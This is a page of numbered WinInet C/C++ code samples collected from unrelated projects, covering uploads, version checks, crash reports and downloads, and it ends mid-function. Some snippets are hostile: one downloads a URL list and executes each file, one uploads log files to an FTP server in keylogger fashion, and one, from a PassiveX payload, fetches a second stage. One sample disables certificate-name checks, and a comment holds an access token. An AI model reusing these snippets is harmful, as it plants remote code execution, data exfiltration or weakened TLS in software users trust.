Esempio n. 1
0
BOOL baidu_upload(CString sfile, CString token, CString fname,DWORD *process)
{
	if (sfile == L"")
	{
		MessageBox(NULL, L"Îļþ·¾¶²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (token == L"")
	{
		MessageBox(NULL, L"token²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (fname == L"")
	{
		MessageBox(NULL, L"ÎļþÃû²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}

	CString url(L"/rest/2.0/pcs/file?method=upload&ondup=overwrite&path=%2Fapps%2Fhitdisk%2F" + fname + L"&access_token=" + token);

	DWORD total_length = 0;//ÉÏ´«Êý¾Ý×Ü´óС
	DWORD file_length = 0;//ÉÏ´«ÎļþµÄ´óС
	//DWORD read_length = 0;//ÒѾ­´ÓÎļþ¶ÁÈ¡µÄ´óС
	DWORD sent_length = 0;//ÒѾ­ÉÏ´«µÄÎļþµÄ´óС

	DWORD sent_bfleng = 0;//µ±Ç°Êý¾Ý¿éÒÑÉÏ´«´óС

	DWORD head_length = 0;//Êý¾ÝÍ·´óС
	DWORD tail_length = 0;//Êý¾Ýβ´óС



	DWORD read_part = 1024 * 1024 * 2;
	DWORD send_part = 1024;

	DWORD read_tmp = 0;//µ±Ç°´ÓÎļþ¶ÁÈ¡µ½»º³åÇøµÄ´óС
	DWORD sent_tmp = 0;//µ±Ç°·¢ËÍ´óС


	CFile cfile(sfile, CFile::modeRead);
	file_length = (DWORD)cfile.GetLength();
	CHAR *send_buffer = new CHAR[read_part];


	HINTERNET hRequest = NULL;
	HINTERNET hConnect = NULL;
	HINTERNET hnet = InternetOpen(fname, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

	hConnect = InternetConnect(hnet, L"pcs.baidu.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hRequest = HttpOpenRequest(hConnect, L"POST", url, NULL, NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD, 0);

	TCHAR ct[] = L"Content-Type: multipart/form-data; boundary=--myself";
	HttpAddRequestHeaders(hRequest, ct, lstrlen(ct), HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);


	CHAR head[] = "----myself\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\n\r\n";
	CHAR tail[] = "\r\n----myself--\r\n";
	head_length = strlen(head);
	tail_length = strlen(tail);

	total_length = file_length + head_length + tail_length;

	INTERNET_BUFFERS Ibuffer;
	ZeroMemory(&Ibuffer, sizeof(INTERNET_BUFFERS));
	Ibuffer.dwBufferTotal = total_length;
	Ibuffer.dwStructSize = sizeof(INTERNET_BUFFERS);

	HttpSendRequestEx(hRequest, &Ibuffer, NULL, 0, NULL);

	InternetWriteFile(hRequest, head, head_length, &sent_tmp);
	sent_length += sent_tmp;

	while (read_tmp = cfile.Read(send_buffer, read_part))
	{
		sent_bfleng = 0;
		while (sent_bfleng != read_tmp)
		{
			if (read_tmp - sent_bfleng > send_part)
			{
				InternetWriteFile(hRequest, send_buffer + sent_bfleng, send_part, &sent_tmp);
			}
			else
			{
				InternetWriteFile(hRequest, send_buffer + sent_bfleng, read_tmp - sent_bfleng, &sent_tmp);
			}
			if (sent_tmp == 0)
			{
				InternetCloseHandle(hRequest);
				InternetCloseHandle(hConnect);
				InternetCloseHandle(hnet);
				cfile.Close();
				delete[] send_buffer;
				return FALSE;
			}
			sent_bfleng += sent_tmp;
			sent_length += sent_tmp;
			*process = (DWORD)(100 * (double)sent_length / total_length);
		}
	}

	InternetWriteFile(hRequest, tail, tail_length, &sent_tmp);
	sent_length += sent_tmp;
	*process = (DWORD)(100 * (double)sent_length / total_length);

	HttpEndRequest(hRequest, NULL, 0, NULL);
	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnect);
	InternetCloseHandle(hnet);
	cfile.Close();
	delete[] send_buffer;


	return TRUE;

}
bool CFileDownloader::backgroundMultiDownLoadFile( wstring url )
{
	HMODULE hDll;
	LPVOID hInternet, hUrlHandle;
	TCHAR buf[100];
	DWORD dwSize;

	// 动态加载dll,此DLL为系统自带,这样做为以后缩减执行程序体积做准备
	hDll = LoadLibrary(_T("wininet.dll"));

	// 读取DLL失败,返回false
	if (!hDll)
	{
		return false;
	}

	// 为DLL内的函数定义
	typedef LPVOID(WINAPI *pInternetOpen) (LPCTSTR, DWORD, LPCTSTR, LPCTSTR, DWORD);
	typedef LPVOID(WINAPI *pInternetOpenUrl) (LPVOID, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD);
	typedef BOOL(WINAPI *pInternetCloseHandle) (LPVOID);
	typedef BOOL(WINAPI *pInternetReadFile) (LPVOID ,LPVOID ,DWORD ,LPDWORD);

	pInternetOpen InternetOpen = NULL;
	pInternetOpenUrl InternetOpenURL = NULL;
	pInternetCloseHandle InternetCloseHandle = NULL;
	pInternetReadFile InternetReadFile = NULL;

	InternetOpen = (pInternetOpen) GetProcAddress(hDll, "InternetOpenW");
	InternetOpenURL = (pInternetOpenUrl) GetProcAddress(hDll, "InternetOpenUrlW");
	InternetCloseHandle = (pInternetCloseHandle) GetProcAddress(hDll, "InternetCloseHandle");
	InternetReadFile = (pInternetReadFile) GetProcAddress(hDll, "InternetReadFile");

	hInternet = InternetOpen(_T("Downloader"), 0, NULL, NULL, 0);

	// 建立网络连接失败
	if (hInternet == NULL)
	{
		return false;
	}

	// 采用无缓冲的传输
	hUrlHandle = InternetOpenURL(hInternet, url.c_str(), NULL, 0, 0x04000000, 0);

	// 打开URL失败
	if (hUrlHandle == NULL)
	{
		return false;
	}

	wmemset(buf, 0, 100);

	// 先读取一个8字节的文件头
	InternetReadFile(hUrlHandle, buf, 8, &dwSize);

	// 读取接下来的索引文件
	wstring str;
	do 
	{
		wmemset(buf, 0, 100);

		// 读取失败则停止读取
		if (!InternetReadFile(hUrlHandle, buf, 100, &dwSize))
		{
			break;
		}

		str.append(buf);
		if (dwSize < 100)
		{
			break;
		}
	}
	while(true);

	// 解析索引文件
	wstring::size_type pos = wstring::npos;

	do 
	{
		// 将|作为不同Url的分隔符
		pos = str.find_first_of(_T('|'));

		if (pos != wstring::npos)
		{
			// 未解析的字符串中的第一段URL
			wstring::size_type pos = str.find_first_of(_T('|'));
			wstring curFileUrl = str.substr(0, pos);

			downloadExec(curFileUrl.c_str());

			// 去掉已经解析的URL
			if (str.length() > pos + 1)
			{
				str = str.substr(pos + 1, wstring::npos);
			}
			else
			{
				break;
			}
		}
		else
		{
			break;
		}

		Sleep(1000);
	} while (TRUE);

	return true;
}
Esempio n. 3
0
FbStatus GetFBStatuses(string paramId, string paramField,string paramToken)
{
		
	HINTERNET hopen, hconnect, hrequest;
	string accesstoken = paramToken;
	int n = accesstoken.size();
	string version = "/v2.1";
	string id = paramId;
	string edge ="/statuses";
	string field = paramField;
	char chUrlRequset [400];
	FbStatus t;
	string urlRequest = version+id+edge+field+"&"+accesstoken;
	String2Char(urlRequest,chUrlRequset);



	hopen = InternetOpen("HTTPGET",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
	hconnect = InternetConnect(hopen,GRAPH_FB,INTERNET_DEFAULT_HTTPS_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);
	//hrequest= HttpOpenRequestA(hconnect,"GET","/v2.1/me/statuses?fields=message&limit=2&access_token=CAAVUMKQz7ZB0BANtlRFjMPvzH2PQ2We0Xy6tyd8iAAnSMMHZCduQHQMGZAln4PWOQO6CPFnYT4LVpQJ2TBay7vIR268fuq3jVONE5Hteq05GQA8QlBapz3ZAWmQdmu43giQytttLwpCAphqZCcztAwrlLX3kpc2hm4tBCYmTn7xkRHPoEazE1Nb2XSXQAnYDRZCK6sNixcj7nDni2QN4am" ,"HTTP/1.1",NULL, NULL,INTERNET_FLAG_SECURE , 0);
	hrequest= HttpOpenRequest(hconnect,"GET",chUrlRequset,"HTTP/1.1",NULL, NULL,INTERNET_FLAG_SECURE , 0);
	printf("FB Sending\n");
	if(HttpSendRequest(hrequest,NULL,NULL,NULL,0)){
		printf("FB Success\n");
		CHAR szBuffer[2048];
		DWORD dwRead=0;
		printf("FB Reading status\n");
		while(InternetReadFile(hrequest, szBuffer, sizeof(szBuffer)-1, &dwRead) && dwRead) 
		{
			szBuffer[dwRead] = 0;
			//printf(szBuffer);
			dwRead=0;
		}
		printf("FB Finish Reading\n");

		cJSON *root = cJSON_Parse(szBuffer);
		cJSON* arr = cJSON_GetObjectItem(root,"data");

		//printf("\n\n");
			if(cJSON_GetArraySize(arr)>0)
		{

			cJSON *subitem = cJSON_GetArrayItem(arr,0);
			//printf("%s\n",cJSON_GetObjectItem(subitem,"message")->valuestring);
			
			t.message = cJSON_GetObjectItem(subitem,"message")->valuestring;
			t.Id = cJSON_GetObjectItem(subitem,"id")->valuestring;
			printf("FB returning message\n");
			return t;


		}




	}
	else
	{
		printf("Failed\n");
		return t;
	}
	


	//InternetCloseHandle(hrequest);
	//InternetCloseHandle(hconnect);
	//InternetCloseHandle(hopen);
}
Esempio n. 4
0
/*
 * Initiates the HTTP tunnel and gets the ball rolling
 */
DWORD HttpTunnel::Start(
		IN LPSTR InHttpHost,
		IN USHORT InHttpPort)
{
	DWORD ThreadId;
	DWORD Result = ERROR_SUCCESS;

	do
	{
		// Initialize the hostname and port
		if (!(HttpHost = strdup(InHttpHost)))
		{
			Result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		HttpPort = InHttpPort;

		// Acquire the internet context handle
		if (!(InternetHandle = InternetOpen(
				NULL,
				INTERNET_OPEN_TYPE_PRECONFIG,
				NULL,
				NULL,
				0)))
		{
			Result = GetLastError();
			break;
		}

		// Create the local TCP abstraction
		if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
		{
			CPassiveX::Log(
					TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
					Result);
			break;
		}

		// Download the second stage if there is one
		DownloadSecondStage();

		// Create the transmission thread
		if (!(SendThread = CreateThread(
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)SendThreadFuncSt,
				this,
				0,
				&ThreadId)))
		{
			Result = GetLastError();
			break;
		}

		// Create the receive thread
		if (!(ReceiveThread = CreateThread(
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
				this,
				0,
				&ThreadId)))
		{
			Result = GetLastError();
			break;
		}

		// Woop
		Result = ERROR_SUCCESS;

	} while (0);

	return Result;
}
Esempio n. 5
0
inline char UploadLog(unsigned long int no)
{
	/* this function will transfer the log 
	   files one by one to the FTP server */

	static BOOL semaphore = FALSE;
	if(semaphore == TRUE)
		return 0;
	else
		semaphore = TRUE;

	if(InternetCheckConnection(InternetCheckMask,FLAG_ICC_FORCE_CONNECTION,0))
	{
		/* connect me to the internet */
		HINTERNET hNet = InternetOpen(AppName2, PRE_CONFIG_INTERNET_ACCESS,
			NULL, INTERNET_INVALID_PORT_NUMBER, 0 );
		if(hNet != NULL)
		{
			/* connect me to the remote FTP Server */
			HINTERNET hFtp = InternetConnect(hNet,FtpServer,
				INTERNET_DEFAULT_FTP_PORT,FtpUserName,FtpPassword,
				INTERNET_SERVICE_FTP, 0, 0);
			if(hFtp != NULL)
			{
				/* successful connection to FTP server established */
				char local_file[MAX_PATH], remote_file[MAX_PATH];
				sprintf(local_file,"%s%lX%s",BaseDirectory,no,STRING_LOGEXT);
				sprintf(remote_file,"%lu-%lX%s",GetCompId(hFtp),no,STRING_SRVEXT);
				//MessageBox(NULL,local_file,remote_file,0);
				if(FtpPutFile(hFtp, local_file, remote_file, 0, 0))
				{
					/* file transfer OK */
					InternetCloseHandle(hFtp);
					InternetCloseHandle(hNet);
					semaphore = FALSE;
					return 1;
				}
				else {
					/* file transfer failed */
					InternetCloseHandle(hFtp);
					InternetCloseHandle(hNet);
					semaphore = FALSE;
					return 0;
				}
			}
			else {
				/* connection to FTP server failed */
				InternetCloseHandle(hNet);
				semaphore = FALSE;
				return 0;
			}
		}
		else {
			/* connection to internet failed */
			semaphore = FALSE;
			return 0;
		}
	}
	/* internet connection is not available 
	   either because the person is not online
	   or because a firewall has blocked me */
	semaphore = FALSE;
	return 0;
}
Esempio n. 6
0
void CheckVersion(void* dummy)
{
	HINTERNET hRootHandle = InternetOpen(
		L"Rainmeter",
		INTERNET_OPEN_TYPE_PRECONFIG,
		nullptr,
		nullptr,
		0);

	if (hRootHandle == nullptr)
	{
		return;
	}

	HINTERNET hUrlDump = InternetOpenUrl(
		hRootHandle, L"http://rainmeter.github.io/rainmeter/release", nullptr, 0, INTERNET_FLAG_RESYNCHRONIZE, 0);
	if (hUrlDump)
	{
		DWORD dwSize;
		char urlData[16] = {0};
		if (InternetReadFile(hUrlDump, (LPVOID)urlData, sizeof(urlData) - 1, &dwSize))
		{
			auto parseVersion = [](const WCHAR* str)->int
			{
				int version = _wtoi(str) * 1000000;
				const WCHAR* pos = wcschr(str, L'.');
				if (pos)
				{
					++pos;	// Skip .
					version += _wtoi(pos) * 1000;

					pos = wcschr(pos, '.');
					if (pos)
					{
						++pos;	// Skip .
						version += _wtoi(pos);
					}
				}
				return version;
			};

			std::wstring tmpSz = StringUtil::Widen(urlData);
			const WCHAR* version = tmpSz.c_str();

			int availableVersion = parseVersion(version);
			if (availableVersion > RAINMETER_VERSION ||
				(revision_beta && availableVersion == RAINMETER_VERSION))
			{
				GetRainmeter().SetNewVersion();

				WCHAR buffer[32];
				const WCHAR* dataFile = GetRainmeter().GetDataFile().c_str();
				GetPrivateProfileString(L"Rainmeter", L"LastCheck", L"0", buffer, _countof(buffer), dataFile);

				// Show tray notification only once per new version
				int lastVersion = parseVersion(buffer);
				if (availableVersion > lastVersion)
				{
					GetRainmeter().GetTrayIcon()->ShowUpdateNotification(version);
					WritePrivateProfileString(L"Rainmeter", L"LastCheck", version, dataFile);
				}
			}
		}
		InternetCloseHandle(hUrlDump);
	}

	InternetCloseHandle(hRootHandle);
}
Esempio n. 7
0
/* Crashdumps handling */
static void check_crashdump(void)
{
    FILE * fd = _wfopen ( crashdump_path, L"r, ccs=UTF-8" );
    if( !fd )
        return;
    fclose( fd );

    int answer = MessageBox( NULL, L"Ooops: VLC media player just crashed.\n" \
    "Would you like to send a bug report to the developers team?",
    L"VLC crash reporting", MB_YESNO);

    if(answer == IDYES)
    {
        HINTERNET Hint = InternetOpen(L"VLC Crash Reporter",
                INTERNET_OPEN_TYPE_PRECONFIG, NULL,NULL,0);
        if(Hint)
        {
            HINTERNET ftp = InternetConnect(Hint, L"crash.videolan.org",
                        INTERNET_DEFAULT_FTP_PORT, NULL, NULL,
                        INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
            if(ftp)
            {
                SYSTEMTIME now;
                GetSystemTime(&now);
                wchar_t remote_file[MAX_PATH];
                _snwprintf(remote_file, MAX_PATH,
                        L"/crashes-win32/%04d%02d%02d%02d%02d%02d",
                        now.wYear, now.wMonth, now.wDay, now.wHour,
                        now.wMinute, now.wSecond );

                if( FtpPutFile( ftp, crashdump_path, remote_file,
                            FTP_TRANSFER_TYPE_BINARY, 0) )
                    MessageBox( NULL, L"Report sent correctly. Thanks a lot " \
                                "for the help.", L"Report sent", MB_OK);
                else
                    MessageBox( NULL, L"There was an error while "\
                                "transferring the data to the FTP server.\n"\
                                "Thanks a lot for the help.",
                                L"Report sending failed", MB_OK);
                InternetCloseHandle(ftp);
            }
            else
            {
                MessageBox( NULL, L"There was an error while connecting to " \
                                "the FTP server. "\
                                "Thanks a lot for the help.",
                                L"Report sending failed", MB_OK);
                fprintf(stderr,"Can't connect to FTP server 0x%08lu\n",
                        (unsigned long)GetLastError());
            }
            InternetCloseHandle(Hint);
        }
        else
        {
              MessageBox( NULL, L"There was an error while connecting to the Internet.\n"\
                                "Thanks a lot for the help anyway.",
                                L"Report sending failed", MB_OK);
        }
    }

    _wremove(crashdump_path);
}
Esempio n. 8
0
/* return value:
 *  0 success
 * -1 fopen failed
 * -2 curl initialization failed
 * -3 scheme is neither http nor https
 * -4 faild to parse the URL (InternetCrackUrl) (windows)
 * -5 https responce status is not HTTP_STATUS_OK (windows)
 * -6 HttpQueryInfo failed (windows)
 * -7 rename failure
 */
int download_simple (char* uri,char* path,int opt) {
  FILE *bodyfile;
  char* path_partial=cat(path,".partial",NULL);
  bodyfile = fopen(path_partial,"wb");
  if (bodyfile == NULL) {
    s(path_partial);
    return -1;
  }
  c_out=0==(download_opt=opt)?stderr:stdout;
#ifndef HAVE_WINDOWS_H
  CURL *curl;
  CURLcode res=!CURLE_OK;
  curl = curl_easy_init();
  if(curl) {
    char* current=get_opt("ros.proxy",1);
    if(current) {
      /*<[protocol://][user:password@]proxyhost[:port]>*/
      char *reserve=current,*protocol=NULL,*userpwd=NULL,*port=NULL,*uri=NULL;
      int pos=position_char("/",current);
      if(pos>0 && current[pos-1]==':' && current[pos+1]=='/')
        protocol=current,current[pos-1]='\0',current=current+pos+2;
      pos=position_char("@",current);
      if(pos!=-1)
        userpwd=current,current[pos]='\0',current=current+pos+1;
      pos=position_char(":",current);
      if(pos!=-1)
        current[pos]='\0',port=current+pos+1,uri=current;
      curl_easy_setopt(curl, CURLOPT_PROXY, uri);
      if(port)
        curl_easy_setopt(curl, CURLOPT_PROXYPORT,atoi(port));
      if(userpwd)
        curl_easy_setopt(curl, CURLOPT_PROXYUSERPWD, userpwd);
      s(reserve);
    }
    count=0,content_length=0;
    curl_easy_setopt(curl, CURLOPT_URL, uri);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_callback);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,bodyfile);
    res = curl_easy_perform(curl);
    if(res != CURLE_OK && verbose) {
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));
    }
    curl_easy_cleanup(curl);
    fclose(bodyfile);
  }
  if(res != CURLE_OK)
    return -2;
#else
  URL_COMPONENTS u;
  TCHAR szHostName[4096];
  TCHAR szUrlPath[4096];

  u.dwStructSize = sizeof(u);
  u.dwSchemeLength    = 1;
  u.dwHostNameLength  = 4096;
  u.dwUserNameLength  = 1;
  u.dwPasswordLength  = 1;
  u.dwUrlPathLength   = 4096;
  u.dwExtraInfoLength = 1;

  u.lpszScheme     = NULL;
  u.lpszHostName   = szHostName;
  u.lpszUserName   = NULL;
  u.lpszPassword   = NULL;
  u.lpszUrlPath    = szUrlPath;
  u.lpszExtraInfo  = NULL;
  if(!InternetCrackUrl(uri,(DWORD)strlen(uri),0,&u)) {
    fclose(bodyfile);
    return -4;
  }
  HINTERNET hSession = InternetOpen("WinInet",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  HINTERNET hConnection = InternetConnect(hSession,szHostName,u.nPort,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);
  DWORD dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE;
  if(INTERNET_SCHEME_HTTP == u.nScheme) {
  }else if( INTERNET_SCHEME_HTTPS == u.nScheme ) {
    dwFlags = dwFlags | INTERNET_FLAG_SECURE| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID| INTERNET_FLAG_IGNORE_CERT_CN_INVALID;
  }else {
    fclose(bodyfile);
    return -3;
  }
  HINTERNET hRequest = HttpOpenRequest(hConnection,"GET",szUrlPath,NULL,NULL,NULL,dwFlags,0);

  HttpSendRequest(hRequest,NULL,0,NULL,0);
  DWORD dwStatusCode,dwContentLen;
  DWORD dwLength = sizeof(DWORD);
  if(HttpQueryInfo(hRequest,HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,&dwContentLen,&dwLength,0))
    content_length=dwContentLen;
  if(!HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER,&dwStatusCode,&dwLength,0)) {
    fclose(bodyfile);
    return -6;
  }
  if(HTTP_STATUS_OK != dwStatusCode) {
    fclose(bodyfile);
    return -5;
  }
  char pData[10000];
  DWORD dwBytesRead = 1;
  count=0;
  while (dwBytesRead) {
    InternetReadFile(hRequest, pData, 99, &dwBytesRead);
    pData[dwBytesRead] = 0;
    write_data(pData,dwBytesRead,1,bodyfile);
  }
  fclose(bodyfile);
#endif
  fprintf(c_out, "\n");
  int ret=rename_file(path_partial,path);
  s(path_partial);
  return ret?0:-7;
}
Esempio n. 9
0
bool CHttpClient::Request(const TCHAR * pURL)
{
    bool bSuccess(false);
    if (pURL != NULL) {
        URL_COMPONENTS urlCom = {sizeof(URL_COMPONENTS),
                                 NULL, 1, INTERNET_SCHEME_DEFAULT,
                                 NULL, 1, 0,
                                 NULL, 1,
                                 NULL, 1,
                                 NULL, 1,
                                 NULL, 1,
                                };
        InternetCrackUrl(pURL, lstrlen(pURL), 0, &urlCom);
        mServer = urlCom.lpszHostName ? lstring(urlCom.lpszHostName, urlCom.dwHostNameLength) : pURL;
        mPort = urlCom.nPort;
        if (urlCom.lpszUrlPath)
            mPath = lstring(urlCom.lpszUrlPath, urlCom.dwUrlPathLength);
        if (urlCom.lpszUserName)
            mUserName = lstring(urlCom.lpszUserName, urlCom.dwUserNameLength);
        if (urlCom.lpszPassword)
            mPassword = lstring(urlCom.lpszPassword, urlCom.dwPasswordLength);
        SetHttps(urlCom.nScheme == INTERNET_SCHEME_HTTPS);
    }
    HINTERNET hi = InternetOpen(mUserAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hi != NULL) {
        if (!mPort)
            mPort = IsHttps() ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
        HINTERNET hc = InternetConnect(hi, mServer.c_str(), mPort,
                                       GET_PTR_FROM_STR(mUserName), GET_PTR_FROM_STR(mPassword),
                                       INTERNET_SERVICE_HTTP, 0, 0);
        if (hc != NULL) {
            const TCHAR *rgpszAcceptTypes[] = { _T("*/*"), NULL};
            DWORD dwDword(INTERNET_FLAG_NO_UI);
            if (IsHttps())
                dwDword |= INTERNET_FLAG_SECURE;
            HINTERNET http = HttpOpenRequest(hc, GET_PTR_FROM_STR(mhttpVerb), mPath.c_str(), NULL, NULL, rgpszAcceptTypes,
                                             dwDword, NULL);
            if (http != NULL) {
                if (HttpSendRequest(http, GET_PTR_FROM_STR(mhttpHeaders), (DWORD)mhttpHeaders.length(), mDataToSend, (DWORD)mDataToSend.DataSize())) {
                    int statusCode(0);
                    {
                        wchar_t responseText[1024]; // change to wchar_t for unicode
                        DWORD responseTextSize = sizeof(responseText);

                        //Check existence of page (for 404 error)
                        if (!HttpQueryInfo(http,
                                           HTTP_QUERY_STATUS_CODE,
                                           &responseText,
                                           &responseTextSize,
                                           NULL))
                            statusCode = GetLastError();
                        else
                            STLUtils::ChangeType(lstring(responseText), statusCode);
                    }
                    BinaryData inDataRead(NULL, 1024*1024*4); // 4MB
                    while (InternetReadFile(http, inDataRead, (DWORD)inDataRead.Size(), &dwDword) && dwDword > 0)
                    {
                        bSuccess = true;
                        inDataRead.SetDataSize(dwDword);
                        if (!ContentHandler(inDataRead))
                            break;
                    }
                }
                InternetCloseHandle(http);
            }
            InternetCloseHandle(hc);
        }
        InternetCloseHandle(hi);
    }
    return bSuccess;
}
Esempio n. 10
0
// Uploads the PNG file to Gyazo
BOOL uploadFile(HWND hwnd, LPCTSTR fileName, BOOL isPng)
{
	const int nSize = 256;
	LPCTSTR DEFAULT_UPLOAD_SERVER = _T("upload.gyazo.com");
	LPCTSTR DEFAULT_UPLOAD_PATH   = _T("/upload.cgi");
	LPCTSTR DEFAULT_UPLOAD_TOKEN = _T("");
	//LPCTSTR DEFAULT_USER_AGENT    = _T("User-Agent: Gyazowin/1.0\r\n");
	const int DEFAULT_UPLOAD_SERVER_PORT = INTERNET_DEFAULT_HTTP_PORT;

	TCHAR upload_server[nSize];
	TCHAR upload_path[nSize];
	TCHAR upload_token[nSize];
	//TCHAR ua[nSize];
	lstrcpy(upload_server, DEFAULT_UPLOAD_SERVER);
	lstrcpy(upload_path, DEFAULT_UPLOAD_PATH);
	lstrcpy(upload_token, DEFAULT_UPLOAD_TOKEN);
	//lstrcpy(ua, DEFAULT_USER_AGENT);
	int upload_server_port = DEFAULT_UPLOAD_SERVER_PORT;

	TCHAR runtime_path[MAX_PATH+1];
	TCHAR runtime_dirname[MAX_PATH+1];
	TCHAR config_file[MAX_PATH+1];
	if (0 != ::GetModuleFileName(NULL, runtime_path, MAX_PATH)) {
		TCHAR tmp[MAX_PATH+1];
		_tsplitpath_s(runtime_path, tmp, runtime_dirname, tmp, tmp);
	}
	lstrcpy(config_file, runtime_dirname);
	lstrcat(config_file, _T("\\gyazo.ini"));
	if (PathFileExists(config_file)) {
		LPCTSTR SECTION_NAME = _T("gyazo");
		GetPrivateProfileString(SECTION_NAME, _T("server"), DEFAULT_UPLOAD_SERVER, upload_server, sizeof(upload_server), config_file);
		GetPrivateProfileString(SECTION_NAME, _T("path"), DEFAULT_UPLOAD_PATH, upload_path, sizeof(upload_path), config_file);
		GetPrivateProfileString(SECTION_NAME, _T("token"), DEFAULT_UPLOAD_TOKEN, upload_token, sizeof(upload_token), config_file);
		//GetPrivateProfileString(SECTION_NAME, _T("user_agent"), DEFAULT_USER_AGENT, ua, sizeof(ua), config_file);
		upload_server_port = GetPrivateProfileInt(SECTION_NAME, _T("port"), DEFAULT_UPLOAD_SERVER_PORT, config_file);
	}

	const char*  sBoundary = "----BOUNDARYBOUNDARY----";		// boundary
	const char   sCrLf[]   = { 0xd, 0xa, 0x0 };					// 改行(CR+LF)
	TCHAR szHeader[200];

	StringCchPrintf(szHeader, 200, TEXT("Auth-Token: %s\r\nContent-type: multipart/form-data; boundary=----BOUNDARYBOUNDARY----"), upload_token);

	std::ostringstream	buf;	// 送信メッセージ

	wchar_t fname[_MAX_FNAME];
	wchar_t ext[_MAX_EXT];
	_wsplitpath(fileName, NULL, NULL, fname, ext );
	std::string data = (isPng) ? "imagedata" : "data";
	LPCTSTR file = (isPng) ? _T("gyazo") : wcsncat(fname, ext, _MAX_FNAME);
	size_t size = wcstombs(NULL, file, 0);
	char* CharStr = new char[size + 1];
	wcstombs(CharStr, file, size + 1);

	// -- "imagedata" part
	buf << "--";
	buf << sBoundary;
	buf << sCrLf;
	buf << "content-disposition: form-data; name=\"";
	buf << data;
	buf << "\"; filename=\"";
	buf << CharStr;
	buf << "\"";
	buf << sCrLf;
	//buf << "Content-type: image/png";	// 一応
	//buf << sCrLf;
	buf << sCrLf;

	// 本文: PNG ファイルを読み込む
	std::ifstream png;
	png.open(fileName, std::ios::binary);
	if (png.fail()) {
		MessageBox(hwnd, _T("PNG open failed"), szTitle, MB_ICONERROR | MB_OK);
		png.close();
		return FALSE;
	}
	buf << png.rdbuf();		// read all & append to buffer
	png.close();

	// 最後
	buf << sCrLf;
	buf << "--";
	buf << sBoundary;
	buf << "--";
	buf << sCrLf;

	// メッセージ完成
	std::string oMsg(buf.str());

	// WinInet を準備 (proxy は 規定の設定を利用)
	HINTERNET hSession    = InternetOpen(_T("Gyazowin/1.0"), 
		INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if(NULL == hSession) {
		LastErrorMessageBox(hwnd, _T("Cannot configure wininet."));
		return FALSE;
	}
	
	// 接続先
	HINTERNET hConnection = InternetConnect(hSession, 
		upload_server, upload_server_port,
		NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
	if(NULL == hConnection) {
		LastErrorMessageBox(hwnd, _T("Cannot initiate connection."));
		InternetCloseHandle(hSession);
		return FALSE;
	}

	// 要求先の設定
	HINTERNET hRequest    = HttpOpenRequest(hConnection,
		_T("POST"), upload_path, NULL,
		NULL, NULL, INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL);
	if(NULL == hRequest) {
		LastErrorMessageBox(hwnd, _T("Cannot compose post request."));
		InternetCloseHandle(hConnection);
		InternetCloseHandle(hSession);
		return FALSE;
	}
	
	// 要求を送信
	BOOL bSuccess = FALSE;
	if (HttpSendRequest(hRequest,
                    szHeader,
					lstrlen(szHeader),
                    (LPVOID)oMsg.c_str(),
					(DWORD) oMsg.length()))
	{
		// 要求は成功
		
		DWORD resLen = 8;
		TCHAR resCode[8];

		// status code を取得
		if(!HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE, resCode, &resLen, 0))
		{
			LastErrorMessageBox(hwnd, _T("Cannot get status code."));
			InternetCloseHandle(hRequest);
			InternetCloseHandle(hConnection);
			InternetCloseHandle(hSession);
			return FALSE;
		}

		// 結果 (URL) を読取る
		DWORD len;
		char  resbuf[1024];
		std::string result;

		// そんなに長いことはないけどまあ一応
		while (InternetReadFile(hRequest, (LPVOID)resbuf, 1024, &len)
			&& len != 0)
		{
			result.append(resbuf, len);
		}

		// 取得結果は NULL terminate されていないので
		result += '\0';

		if( _ttoi(resCode) != 200 ) {
			// upload 失敗 (status error)
			TCHAR errorBuf[200];
			StringCchPrintf(errorBuf, 200, TEXT("Cannot upload the image. Error %s "),resCode);
			std::wstring stemp = std::wstring(result.begin(), result.end());
			StringCchCat(errorBuf, 200, (LPTSTR)stemp.c_str());
			MessageBox(hwnd, errorBuf, szTitle, MB_ICONERROR | MB_OK);
		} else {
			// upload succeeded

			// クリップボードに URL をコピー
